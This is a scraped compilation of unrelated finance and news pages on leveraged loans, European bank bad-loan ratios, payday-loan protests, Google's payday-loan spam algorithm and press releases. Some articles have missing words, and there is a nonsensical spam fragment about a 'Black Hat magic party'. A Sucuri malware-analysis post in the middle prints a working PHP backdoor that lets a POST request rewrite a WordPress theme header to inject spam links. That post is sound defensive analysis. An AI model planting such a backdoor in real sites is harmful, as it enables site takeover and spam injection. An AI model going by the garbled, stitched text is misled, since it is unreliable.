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Junk-Loan Volume Plunges as Yields Rise: Credit Markets

Leveraged loan issuance plummeted in the U.S. this month as investors punished borrowers in an increasingly volatile market for high-yield, high-risk debt.

Borrowers including TransFirst Inc. and Norwegian Cruise Line Holdings Ltd. have sold $6.5 billion of U.S leveraged loans to institutional investors in what’s poised to be the slowest November since 2008, according to data compiled by Bloomberg. Volume was almost $30 billion in October. Fewer deals are getting done after loan prices plunged more than 3 percent last month from a July peak and yields rose to 6.2 percent, the highest in more than two years.

“I’m not expecting an explosion of deal flow,” John Fraser, managing partner at the U.S. debt arm of London private equity firm 3i Group Plc, said in a phone interview on Nov. 21. “A lot of borrowers have already done what they were trying to do,” said Fraser, whose unit oversees $4.2 billion in assets.

The drop-off in issuance comes as regulators scrutinize Wall Street’s lending practices and demand for the speculative-grade debt fades. Leveraged loans are typically issued by companies that have ratings of less than Baa3 by Moody’s Investors Service and below BBB- by Standard & Poor’s.

‘Still Suffering’

The loans have returned 2.4 percent this year, down from 4.6 percent in the similar period of 2013 and underperforming 4.1 percent gains from U.S. junk bonds, according to the Standard & Poor’s/LSTA U.S. Leveraged Loan 100 and Bank of America Merrill Lynch indexes.

Banks have arranged $473 billion of U.S. institutional loans this year, compared with a record of about $700 billion in all of 2013, according to data compiled by Bloomberg.

“The loan market is still suffering from cash flowing out from mutual funds,” said Peter Toal, Barclays Plc’s New York-based head of global leveraged finance syndicate.

Investors have pulled a net $15.5 billion from U.S. mutual funds and exchange-traded funds that buy leveraged loans this year, according to Lipper, the data provider owned by Thomson Reuters Corp. In April, they snapped 95 straight weeks of inflows that included a record $62.9 billion of deposits last year.

Receding Demand

Demand began receding about seven months ago, kicking off the biggest flight from the debt since 2008 as investors abandoned expectations that interest rates would rise as a result of the Federal Reserve tightening its monetary policy. Payments collected from loans are usually tied to floating benchmark rates, unlike bonds, which typically offer fixed coupons.

The reversal shifted the power into the hands of investors asking for more favorable terms, including increased yields by selling the loans at discounts.

“Almost no matter what you show them, they are rolling up their sleeves and saying ‘What else do I want?’” said Kevin Lockhart, co-head of global leveraged finance at Jefferies Group LLC in New York. “That is different from the first half of this year, when investors were essentially forced to accept terms they did not necessarily like.”

Regulators shifted to a deal-by-deal review of the debt in recent months, showing new urgency in avoiding the kind of risky lending that was blamed for igniting the financial crisis, people with knowledge of the matter said in September.

European Issuance

Leveraged loan issuance in Europe fell to 2.1 billion euros ($2.6 billion) this month, the lowest for any period in almost four years, according to data compiled by Bloomberg. That compares with a seven-year high of 19.7 billion euros in June, the data show.

“The high levels of market volatility had an impact across the market,” according to Dagmar Kent-Kershaw, the London-based head of credit fund management at Intermediate Capital Group Plc. “It feels now as if there’s an early close down for 2014.”

JPMorgan Chase & Co. last week increased the discount on a loan backing Tibco Software Inc.’s more than $4 billion buyout by Vista Equity Partners to 95 cents on the dollar after failing to attract investors at 98.5 cents to 99 cents, according to a person with knowledge of the deal.

Jefferies helped arrange the software maker’s loan, which was increased by $20 million to $1.67 billion, and will pay interest at 5.5 percentage points more than the London interbank offered rate, 1 percentage point higher than originally proposed.

‘Just Acquisitions’

Tibco is graded B3 by Moody’s. That’s the lowest level of a category the ratings company considers to be “high credit risk” and “speculative.” S&P gives it an equivalent B-.

Generally, “spreads are still wide given fundamentals,” Leland Hart, the head of loans at BlackRock Inc. in New York, said in a telephone interview. The trailing 12-month global speculative-grade default rate was 2.3 percent in October, remaining below the historical average of 4.7 percent, according to Moody’s.

“It’s just acquisitions that need to get done that are coming to the market today,” said Lockhart. ‘We’re not seeing opportunistic financings, so you’re seeing things driven by the M&A calendar.’’

Jefferies, the top arranger this month of U.S. institutional loans, is leading $1.8 billion of bank debt for private-equity firm Thoma Bravo LLC’s $2.5 billion buyout of Detroit-based software provider Compuware Corp., according to data compiled by Bloomberg.

Below Par

Jefferies also arranged $1 billion of loans for Vista Equity Partners’ takeover of Happauge, New York-based TransFirst this month, while Norwegian Cruise Line of Miami turned to Barclays to help arrange a $350 million term loan backing its acquisition of Prestige Cruises International Inc., Bloomberg data show.

With loans trading below par after market volatility last month, investors are being more selective partly because they don’t have to rely on new deals for bargains.

Loan prices averaged 97.2 cents on the dollar yesterday, after plunging mid-October to an almost two-year year low of 95.7 cents, according to the S&P/LSTA U.S. Leveraged Loan 100 index. Prices are still down from this year’s peak of 99.1 cents in July.

“There is no specific new issue I need to buy because there are so many opportunities in the secondary market,” BlackRock’s Hart said.

While Jefferies is looking at a lot of potential financings for acquisitions that have yet to be announced, the firm doesn’t expect to bring those deals to market next month, according to Lockhart.

“I don’t think you’re going to see a very busy December,” he said. “Most people are looking right now to January.”

To contact the reporter on this story: Christine Idzelis in New York at cidzelis@bloomberg.net

To contact the editors responsible for this story: Shannon D. Harrington at sharrington6@bloomberg.net Mitchell Martin

Press spacebar to pause and continue. Press esc to stop.

[…]

New Offers from Upromise by Sallie Mae Means More Opportunities to Earn Cash Back for College This Holiday Season

NEWARK, Del.–(BUSINESS WIRE)–

With the holiday shopping season in full force, now’s the time for families to earn even more cash back for college through Upromise by Sallie Mae. Every Tuesday through Dec. 23 is “10 Percent Tuesday”, where Upromise members can earn 10 percent cash back for college with featured partners including: Sephora, Shoebuy.com, Fossil, Lord & Taylor and QVC.com. A full list of participating retailers is available on Upromise.com. Last holiday season Upromise members earned a collective $14 million towards college savings.

This holiday season, Upromise offers even more ways to save for college. Those who shop using the Upromise World MasterCard can earn an extra 5 percent cash back for a total of 10 percent at most partners on online purchases on Black Friday, Cyber Monday, and every other day of the year. Also, on Nov. 26, Upromise will feature a free shipping day, aggregating dozens of partners’ free shipping offerings in one place for members.

Additionally, Upromise is launching personalized in-store offers for members who have a Upromise World MasterCard registered to their Upromise account. Members will see a list of in-store offers at nearby retailers and restaurants online, and the percentage cash back at each partner.

“Many families try to strike a balance between their budget and things like college savings goals, and the holidays can put stress on that balance,” said Erin Condon, vice president, Upromise by Sallie Mae. “With Upromise, families can purchase their holiday gifts with peace of mind that they’re also putting away a little bit more for college.”

Grandparents, friends, and other family can link their shopping to a Upromise account to contribute money for college for that child or children. In fact, Upromise members with friends and family who contribute to their account earn 3 times more college savings on average.

Free and easy to join, Upromise by Sallie Mae allows families to earn cash back for college from everyday purchases by shopping online with partners such as Groupon, Macys.com, WalMart.com and BestBuy.com. Through Upromise, shoppers earn real cash rewards that can be put towards saving and paying for college including repayment of an eligible student loan, a Sallie Mae high-yield savings account, eligible 529 college savings plans or even cash back in the form of a check.

To date, Upromise members have collectively earned more than $850 million. To learn more, visit Upromise.com.

Sallie Mae (NASDAQ: SLM) is the nation’s saving, planning, and paying for college company. Whether college is a long way off or just around the corner, Sallie Mae offers products that promote responsible personal finance including private education loans, Upromise rewards, scholarship search, college financial planning tools, insurance, and online retail banking. Learn more at SallieMae.com. Commonly known as Sallie Mae, SLM Corporation and its subsidiaries are not sponsored by or agencies of the United States of America.

Sallie MaeUpromise Contact:

Sallie Mae

Abigail Harper, 302-451-0230

abigail.harper@salliemae.com […]

Europe fears banks lack cash cushion to cover bad loans

As slogs through its latest round of bank stress tests, a growing number of analysts have already reached their own conclusion: need additional cash.

To buttress their case, some analysts have dusted off an obscure American bank metric that highlights the extent to which Europe’s increasing number of nonperforming loans is threatening to overwhelm existing bank cushions.

The measure, called the Texas ratio, was developed by an analyst who covered troubled United States banks during the late 1980s and early 1990s. During that period, numerous Texas-based financial institutions collapsed under the weight of faulty real estate loans.

Part of what has made the attractive to analysts and regulators is its simplicity. When the ratio of to equity and cash set aside exceeds 100 per cent, it suggests that the bank is either ready to fail or is in desperate need of new capital – as was the case with Texas banks in the 1980s.

“We found it to be a very good guide telling you which banks would fail,” said Gerard S Cassidy, the bank analyst who introduced the formula and coined the name. “It’s a ratio that everyone can understand.”

Now as the prepares to become the primary bank regulator in the Euro zone, the extent to which lenders in troubled economies like Spain, Italy, Portugal and Greece have sufficient cash to protect against ever-rising bad loans has emerged as a crucial question for investors, banks and regulators.

The will publish the results of its half-year investigation into Europe’s 128 largest banks on October 17. But until then, with worries mounting that the central bank will come down hard on banks with particularly weak loan books, investors and analysts have been scrambling to determine which of these lenders are most at peril.

And with sharing similar characteristics with Texas banks in the late 1980s – nonperforming real estate loans and slim cash buffers – the Texas ratio has emerged as a popular analytical tool.

This spring, banking analysts for Nomura in London used the Texas ratio to highlight 11 banks in Southern Europe that were most exposed to nonperforming loans relative to cash they had on hand.

Of the 11 banks that exceeded the 100 per cent threshold, three banks stood out with ratios of 150 per cent and above: Piraeus Bank in Greece, Banco Popolare in Italy and Banco Popular Español in Spain.

Cassidy, who covers United States financial institutions for RBC Capital Markets in Portland, Maine, does not pretend to be an expert on European banks – although he still uses the measure to examine American banks. But he is not surprised that his peers covering banks in troubled Euro zone countries have started to use it.

It is a great way, Cassidy said, to ask the most important question a bank analyst or investor will ever want answered: Does the bank have enough money?

Of course, like all financial formulas, the Texas ratio is not infallible. For example, Banco Espírito Santo in Portugal, which collapsed two months after the Nomura report came out, was not listed as a bank with a ratio in the danger zone. And there is no sign yet that Piraeus or the other two banks are in dire straits, despite bad loan burdens that exceed their peers.

Moreover, Piraeus in Greece and Popular in Spain have both been subjected to particularly intense scrutiny of late by private sector stress tests undertaken to calm fears about the banks in these countries.

Still, as concerns build that weak banks will be forced to raise more cash as bad loans increase, investors – once eager to pile into these stocks, based on recovery hopes – have reversed course. Since early June, Piraeus and Popolare in Italy are down by a quarter, while Popular in Spain has lost 16 percent.

Using the Texas ratio also underscores the ever-increasing gap that separates European banks from their American counterparts, highlighting as well the contrasting approaches taken by bank regulators here and in Europe.

According to the most recent data, the average ratio for all United States banks is 15 percent, with giants like Chase and boasting very healthy metrics: 16 percent for JPMorgan and 13 percent for Citigroup.

By contrast, the largest banks in the euro zone that also pretend to have global ambitions have much higher ratios – and arguably would be considered to carry more risk. Santander and BBVA in Spain have ratios of about 70 percent; UniCredit in Italy comes in at 90 percent; BNP Paribas has a lower measure of 41 percent. Deutsche Bank in Germany has one of the lowest scores in Europe, at 14 percent, but that understates its risk because most of its assets comprise riskier traded securities like derivatives and bonds.

For more than two years, outside analysts have argued that European banks, compared with their American peers, suffer from a fundamental capital deficit. Adrian Blundell-Wignall, who oversees financial research at the Organization for Economic Cooperation and Development in Paris, has been one of the more vocal critics in this regard.

And last year, economists at the Danish Institute for International Studies came out with a report highlighting how low cash buffers were in European banks, especially in France and Germany.

Since 2010, European regulators have sponsored two comprehensive stress tests, both of which were discredited after banks failed soon after each was completed.

Local central banks in countries hardest hit by the crisis – Spain, Ireland, Cyprus and Greece – have hired outside financial firms to run independent stress tests.

In Cyprus and Greece, these reports have drawn criticism over their independence. The most recent of them, a comprehensive study issued in March by BlackRock, which estimated Greek banks would need only 6 billion euros in new cash, has been criticized by one of Greece’s primary creditors, the International Monetary Fund, as being too upbeat.

“The picture they have painted is too optimistic,” said Jens Bastian, an Athens-based financial analyst. “The events on the ground do not support these optimistic scenarios.”

Mr. Bastian worked recently for the so-called troika – the E.C.B., the European Commission and the I.M.F. – overseeing Greece’s finances. And he points out that in the March BlackRock report, nonperforming loans in Greece were estimated at 28 percent.

Now, he says, “we are way beyond that level and have passed above the 34 percent threshold, totaling approximately 75 to 77 billion euros.”

One senior Greek banker, who spoke on the condition of anonymity, said that he was expecting the E.C.B. to require the top four banks in Greece to raise from 5 billion to 8 billion euros.

Greek officials have said that in such a situation, the banks could tap international markets, as Piraeus and others did successfully earlier this year.

But with nonperforming loans pushing ever higher, and with investors more cautious about investing in risky European banks, securing the needed cash may not be so easy this time around.


©2014 The New York Times News Service

[…]

Citizens rally against payday loans | The Advance

Image Rally-300x169.jpg

About 250 attendees gather before a rally on predatory lending practices in the state starts Monday, Aug. 11, at Calvary Baptist Church. The rally was organized by the grassroots group , Tuscaloosa Citizens Against Predatory Lending. Photo by Jasmin Washington.

TUSCALOOSA – Calvary Baptist Church was the site of a rally to protest so-called payday loans and provide information about the statewide practice on Monday evening, Aug. 11.

One of the purposes of the hour-long session was to sign a petition urging a cap on the high interest rates, up to 36 percent, that payday loans charge. The rally was hosted by the grassroots group, Tuscaloosa Citizens Against Predatory Lending.

Since a state law was passed in 2003 that made payday loans legal in Alabama, many college students and wage earners in low-income brackets have made use of payday loans, which contribute to financial instability for many borrowers.

Stephen Stetson a policy analyst with Alabama Arise, an advocacy group for children, and Stephen Black, director and founder of the Center for Ethics & Social Responsibility at The University of Alabama were guest speakers.

Audience members listened as a video on Predatory Loans was presented. In the film, borrowers described their experiences with paying back loans and lenders discussed the guilt they felt for issuing them out.

Following the video, Beebe McKinley, TCAPP member and longtime Tuscaloosa resident, introduced speaker Stephen Stetson, Alabama Arise Policy Analyst.

Stetson presented a slide show presentation on predatory practices, which contained a brief history and description of payday loans. His talk included the following points:

Concept of payday loans originated in the 1990s in Cleveland, Tenn. The state of Alabama passed a law in 2003 approving payday loans. A payday loan is a small amount of cash that is expected to be repaid with the person’s next pay check. Payday loans are easy to get since they do not require a credit check. The average borrower remains in payday loan debt for 212 days out the year.

Stephen Black, of UA’s Center for Ethics & Social Responsibility, is highly concerned about what he describes as an unethical practice.

“I don’t want to be in a state where we pray amongst the weak,” Black said. “This is about fairness.”

Stetson, whose organization focuses on issues affecting low-income people, said that payday-loan borrowers in Alabama can end up paying 456 percent in annual interest because they will take out new loans to repay the previous ones.

By Jasmin Washington, senior writer

[…]

Did Google Really Push Out The Pay Day Loan Algorithm Or Was It …

Image google-payday-loans-1402921894.gif

As I reported from the airport Thursday night at Search Engine Land, Google’s Matt Cutts said the Payday Loan Algorithm was rolling out but truth is, I haven’t seen signs of it.

In fact, I’ve asked many folks in the black hat and spammy categories about this and they’ve seen nothing. There is only one site I see reporting any changes and even there I am not convinced.

As you know, the Google Payday Loan 3.0 algorithm was released, targeting spammy queries over spammy sites – whatever that means. But even though it began rolling out Thursday night, as Matt Cutts said on Twitter – I do not see reports from within the community about it.

What I do see are sites not in the spammy category reporting major changes in their rankings. The ongoing WebmasterWorld thread has folks complaining of major shifts starting Thursday night/Friday – but they are not in the spammy categories.

Here are some complaints:

I’m not in a spammy category (consumer electronics) and my site was pushed down for no apparent reason with this update. Seems Google messed something up.
I’m not in a spammy category. I’ve been decimated sad We can’t pay our bills now.

Meanwhile the site that never gets updated, that rips off other content got a nice boost. Way to go.

Some benefited, as you would imagine:

We don’t know what Google classifies as “spammy”. But I’d say consumer electronics queries might indeed fall into that category. Take a look how many (legit and automated) sites are out there.

I had a nice boost on June 12th. Consumer electronics too, with high quality indepth (often 6000+ words) articles.

A senior member I think has it right, saying this was a slight modification to the Panda 4 algorithm:

I’ve noticed a slight drop in traffic since Thursday.

I’ve compared my (low level) bing and yahoo traffic to google and as best I can tell it seems just related to google.

I benefited from the recent Panda 4.0. A couple of other people posting here have have mentioned slight drops in traffic and a positive Panda 4 effect.

I’d bet that Google has tweaked the Panda 4 algo.

In regard to the PayDay algo, I don’t think that would much apply to my content.

Scanning the Black Hat World forums, there is very little chatter there. Most of the chatter is asking, did you see anything? Where most people are saying, “I saw some minor fluctuations for a few of my sites but really nothing major” and the like.

I asked Matt Cutts on Twitter if there really was a PayDay Loan 3.0 and didn’t get a response:

I suspect what most of you are seeing is a small update to Panda 4.0 and not Pay Day Loan specific. But I am not Google and I do not have inside information.

Forum discussion at Twitter, Cre8asite Forums, WebmasterWorld and Black Hat World .

[…]

Google Spam Algorithm Version 3.0 Launches Today

As I reported last night out of the SMX Advanced keynote with Matt Cutts – the third version of the Google Spam Algorithm, also known as the PayDay Loan algorithm, is launching today.

Didn’t we just have version 2.0 a couple weeks ago? Yes we did.

Matt Cutts explained that 2.0 was targeting specifically spammy sites, while 3.0 targets more spammy queries. So the algorithm looks more at the query versus looking at the site. You are smart SEOs, so you can figure out what that means.

Matt also explained that version 2.0 also added some negative SEO factors, to reduce the amount of negative SEO that can happen. If you believe that.

I do not believe this launched just yet, it may launch today sometime, or maybe tomorrow – but likely today, Matt Cutts said. Based on the lack of complaints in the black hat forums, I do not think it launched at the time I am writing this.

Reminder, this will look specifically spammy queries, such as terms like [payday loans], [casinos], [viagra] and other forms of highly spammy queries.

Forum discussion at WebmasterWorld, Twitter and Google+.

Update: It began rolling out 4:40pm EST:

[…]

12 Month Payday Loans @ hyderabadbus.com SUSE-Art.org

Black Hat magic party for KDE 4.13 Learn IDL programming for themesUpdate your headers and kernels for securityKDE for Asia,??? ??? China ?? and First superteam to build the first quantum linux kTechnological singularity breached.Trolls and SpammersXBMC […]

Not Just Pills or Payday Loans, It's Essay SEO SPAM! | Sucuri Blog

Image essay-seo-spam.png

Remember back in school or college when you had to write pages and pages of long essays, but had no time to write them? Or maybe you were just too lazy? Yeah, good times. Well, it seems like some companies are trying to end this problem. They are offering services where clients pay them to write these essays for you.

The problem is that this is not only wrong, but it’s also becoming a competitive market where some companies are leveraging SEO SPAM to gain better rankings on search engines (i.e., Google, Bing). They are also using popular sites like bleacherreport.com and joomlacode.org to add their spam links.

Here are a couple example URL’s from sites that got hit (URL’s are still showing SPAM):

httx://bleacherreport.com/users/4065601-community-service-essays httx://joomlacode.org/gf/download/trackeritem/32806/131536/online-academic-writers.html

If you think you have seen all kinds of SEO spam, think again. We just found a new one: the Essay SEO spam.

How Did We Find It?

Easy, Our free malware scanner SiteCheck was flagging a website as infected.

This was the payload:

At first, it appeared to be a false positive, but then I realized that this was an engineering website, and this “paper writing services” content couldn’t possibly have anything to do with it.

After checking out some of the flagged links I got to this “final” website: httx://www.paperhelp.org/order.html. We are not implying they are behind the attacks, but it wouldn’t be a stretch of the imagination to think that they likely hired an SEO company and that company could be using BlackHat techniques.

Who knows…

Where Was This Infection?

What got my attention was this tag "" at the beginning of the code. This is usually related with dynamic content placed in the header of the file. So, yes, in this case it was located on this page "./wp-content/themes/display/header.php".

How Did It Get Injected?

While cleaning the the website we found a backdoor that was inserted into this file: ./wp-blog-header.php:

if (isset($_POST['link'])){ $f_p=explode("<>",$_POST['link']); $link=''; foreach ($f_p as $f){ $f_a=explode("|",$f); $link.=''.$f_a[1].''.$f_a[2].' '; } $link_div=''.$link.''; $heder="wp-content/themes/display/header.php"; $p=file_get_contents($heder); if (preg_match('|()|s',$p)){ $p=preg_replace('|()|s','',$p);} preg_match('|()s|',$p,$bodys); $body=$bodys[1]." ".$link_div; $p_n=preg_replace('|()s|',"$body",$p); $fp = fopen($heder, 'w');fwrite($fp, $p_n);fclose($fp); echo "succes"; }

I am not a developer so I asked one of our developers (Ante Kresic) how this backdoor worked, and here is his explanation:

This backdoor was inserted in the wp-blog-header.php file, which is the first file that is read in WordPress, so this works on the whole site. The $_POST[‘link’] gives permission to add content in a website, in this specific case, it was added in the header.php file:

$heder="wp-content/themes/display/header.php";

So basically, the hacker is sending a payload using this post variable ‘link’, filled with ‘<>’ and ‘|’ characters written in a specific format. These are separated into multiple entries and they all show up in the header.php file, printed out as “succes” :

echo "succes";

The irony in the entire story could be traced back to a simple indicator that something was wrong, these attackers were advertising essay writing services, and using words like “heder” and “succes”.


Have you run into any sites with similar scams or SPAM? If you’re not sure if your site, or one you’re visiting is affected or infected, run a free malware scan. If you need help cleaning up a site, check out Sucuri Cleanup.

Sharing is Caring:

[…]

Citizens Financial Services, Inc. Declares Cash Dividend

MANSFIELD, Pa., Dec.10, 2013 /PRNewswire/ — The Board of Directors of Citizens Financial Services, Inc. (CZFS) the bank holding company for First Citizens Community Bank, recently declared a cash dividend for CZFS shareholders.

The cash dividend of $.385 per share is payable on December 27, 2013 to shareholders of record on December 19, 2013. The dividends for the year will total $1.22 per share adjusted for the stock dividend paid earlier this year, which continues to represent an attractive dividend yield. In addition to the cash and stock dividend issued in 2013, the Board of Directors of Citizens Financial Services accelerated the 2013 first quarter dividend of $.38 per share into the fourth quarter of 2012 due to the significant issues in Washington regarding the very complex fiscal cliff tax issues at that time.

The continued strength of our financial performance has permitted us to continue to pay an attractive cash dividend and reflects the Board of Directors’ desire to provide total shareholder return to our shareholder base,” stated Randall E. Black, CEO and President.

Citizens Financial Services, Inc. is an $894 million bank holding company conducting business through First Citizens Community Bank. First Citizens Community Bank operates 17 full-service offices in Pennsylvania and New York as well as two loan production offices in Lock Haven, and Dallas, PA.

For further information regarding the stock of Citizens Financial Services, Inc., please contact any of the following firms: Automated Trading Desk, 866-283-2831; Boenning & Scattergood, Inc., 800-842-8928; Keefe, Bruyette & Woods, Inc., 800-342-5529; Monroe Securities Inc., 800-766-5560; Pershing LLC, 201-413-2700; RBC Capital Markets Corp., 800-959-5951; Sandler O’ Neill & Partners, 212-466-8020; Stifel, Nicolaus & Co., Inc., 973-549-4200; UBS Securities, LLC, 203-719-8710.

Note: This press release may contain forward-looking statements as defined in the Private Securities Litigation Reform Act of 1995. Actual results and trends could differ materially from those set forth in such statements due to various factors. These factors include operating, legal and regulatory risks; changing economic and competitive conditions and other risks and uncertainties.

[…]

True Blue Loans Launches Offering Instalment Loans to People Stuck with a Payday Loan

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You’ve got to hand it to Virgin Atlantic: This flight attendants as superheroes ad is pretty amazing

The notion of flying in the face of the ordinary, the ad’s premise, is in the DNA of Virgin founder Richard … More » You’ve got to hand it to Virgin Atlantic: This flight attendants as superheroes ad is pretty amazing

SAC Capital is finally busted

Was Steven Cohen really any different from a Mafia don? And should he be treated differently before the … More » SAC Capital is finally busted

Meet John Chen, the new CEO tapped to save BlackBerry

Forgive us for thinking we’ve been here before. When Thorsten Heins took the reins of BlackBerry, then … More » Meet John Chen, the new CEO tapped to save BlackBerry

Why you should never eat lunch at your desk

Think that inhaling a sandwich at your desk while you answer emails is the best way to get more done? … More » Why you should never eat lunch at your desk

Google employees confess the worst things about working at Google

A job at Google. It’s career heaven, right? How… More » Google employees confess the worst things about working at Google

10 biggest supercar flops of all time

History is littered with supercars from builders who ought to have concentrated on producing a good car … More » 10 biggest supercar flops of all time

17 reasons Canada is a better place to live than the US

Many Canadians feel that their country does not compare favourably to the USA, even though Forbes rated … More » 17 reasons Canada is a better place to live than the US

Coming soon: Train your smartphone as you would your dog

Is your smartphone waking you up with late-night callers? Tell that phone it’s a “bad phone” and someday, … More » Coming soon: Train your smartphone as you would your dog

The one thing that threatens workers the most

Many labor experts believe there’s a troublesome “skills gap” in America: Too many workers who specialize … More » The one thing that threatens workers the most

7 tips to cut flight costs during the holidays

Holiday travel can cause a strange mix of excitement and dread. Establish a holiday travel budget that … More » 7 tips to cut flight costs during the holidays

5 vehicles you love and car thieves hate

Thieves steal a car in America every 43.7 seconds on average, but here’s a look at five models you can … More » 5 vehicles you love and car thieves hate

What is it tourists don’t like about Canada?

Our travel deficit keeps growing. More » What is it tourists don’t like about Canada?

World’s most powerful people 2013

Here are the 10 most powerful people in the world, chosen based on their scope of influence and their … More » World’s most powerful people 2013

BlackBerry’s BBM success shouldn’t leave its devices behind

A few months back, while sitting on the subway in Toronto, I heard something I’ve never heard before: … More » BlackBerry’s BBM success shouldn’t leave its devices behind

Vanity Fair has published a vicious takedown of hedge fund billionaire Dan Loeb

Some brutal anecdotes in here. More » Vanity Fair has published a vicious takedown of hedge fund billionaire Dan Loeb

Why Lululemon’s yoga pants cost $30 more than Athleta’s

Lululemon’s $98 pair looks almost exactly like Athleta’s $69 pants. The materials, a mixture of nylon … More » Why Lululemon’s yoga pants cost $30 more than Athleta’s

Retired in Nicaragua, and loving it

This is part of a series in which Americans age 50-plus profile their adopted overseas locales. Send … More » Retired in Nicaragua, and loving it

For American restaurant chains, the future is Mexican

Yum! Brands and Chili’s both smell success in Mexican menus. The burger-and-fries business, meanwhile, … More » For American restaurant chains, the future is Mexican

This robot wants to take the gas pump right out of your hand

Call me crazy, but I actually enjoy filling up at the gas station. It may be the only pleasure of owning … More » This robot wants to take the gas pump right out of your hand

This camping trailer was designed by a former NASA contractor

Photo via Core77 Maybe fewer people would complain about the end of the space program if more NASA folks … More » This camping trailer was designed by a former NASA contractor

Apparently, there are some other Keinz, says McDonald’s

McDonald’s has lost its taste for Heinz ketchup. More » Apparently, there are some other Keinz, says McDonald’s

Jay-Z says hold up on racial profiling accusations at Barneys NYC

The rap mogul made his first statement about the controversy in a posting on his website. He has come … More » Jay-Z says hold up on racial profiling accusations at Barneys NYC

Amazon just got bigger, if you can believe it

Even if it is huge already, Amazon.com can’t help but try to find ways to get even bigger. The e-retailer, … More » Amazon just got bigger, if you can believe it

Monday morning daydreams of off-the-grid hotels

When you don’t want elevators or meeting rooms or anything else that screams corporate hospitality, and … More » Monday morning daydreams of off-the-grid hotels

Holiday family fun at a nuclear power plant

“Hey, kids. Let’s jump in the car and head to the nuclear power plant.” If that sounds like your idea … More » Holiday family fun at a nuclear power plant

GM tinkers with its China strategy

SHANGHAI—With its lead in the world’s biggest auto market threatened, General Motors Co. is tinkering … More » GM tinkers with its China strategy

How guns are made in Kashmir

Workers are seen in a gun manufacturing factory in Srinagar, the summer capital of Indian Kashmir, 25 … More » How guns are made in Kashmir

Laps to laptops: Formula One sells its big data know-how

Wander around the pits at a Formula One car race and you’re as likely to bump into a laptop-wielding … More » Laps to laptops: Formula One sells its big data know-how

Who will get rich from Twitter’s IPO?

Twitter is preparing to sell 70 million shares to the public in an IPO that will value the company at … More » Who will get rich from Twitter’s IPO?

The countries with the most brainpower

Which country has the largest stock of brilliant people? The answer to this question depends … More » The countries with the most brainpower

The 25 countries with the most brainpower

Which country has the largest stock of brilliant people? The answer to the question depends only in part … More » The 25 countries with the most brainpower

BlackBerry, BlackBerry, which suitor will you choose?

How does former Apple CEO John Sculley rank against BlackBerry’s other big-name suitors? More » BlackBerry, BlackBerry, which suitor will you choose?

Do rich people make you sick?

Some say they do. What nonsense. More » Do rich people make you sick?

McDonald’s new ‘dollar menu’ goes up to $5

McDonald’s is rebranding its “Dollar Menu” as the “Dollar Menu & More” with $1 and $2 sandwiches and … More » McDonald’s new ‘dollar menu’ goes up to $5

8 best questions to ask during a job interview

Faced with one pointed question after the next regarding your career, a job interview can quickly take … More » 8 best questions to ask during a job interview

Top 5 secrets of billionaire Rupert Murdoch’s media mogul life

When it comes to Rupert Murdoch’s media empire, there are some aspects of its business strategies that … More » Top 5 secrets of billionaire Rupert Murdoch’s media mogul life

5 things not to do on the Internet while flying

What should we give up when getting online a mile high? Is it better to forgo the Internet altogether … More » 5 things not to do on the Internet while flying

10 tips for picking a place to retire

Once you retire, you’re free to head to the beach or golf course. In some cases, you can even dramatically … More » 10 tips for picking a place to retire

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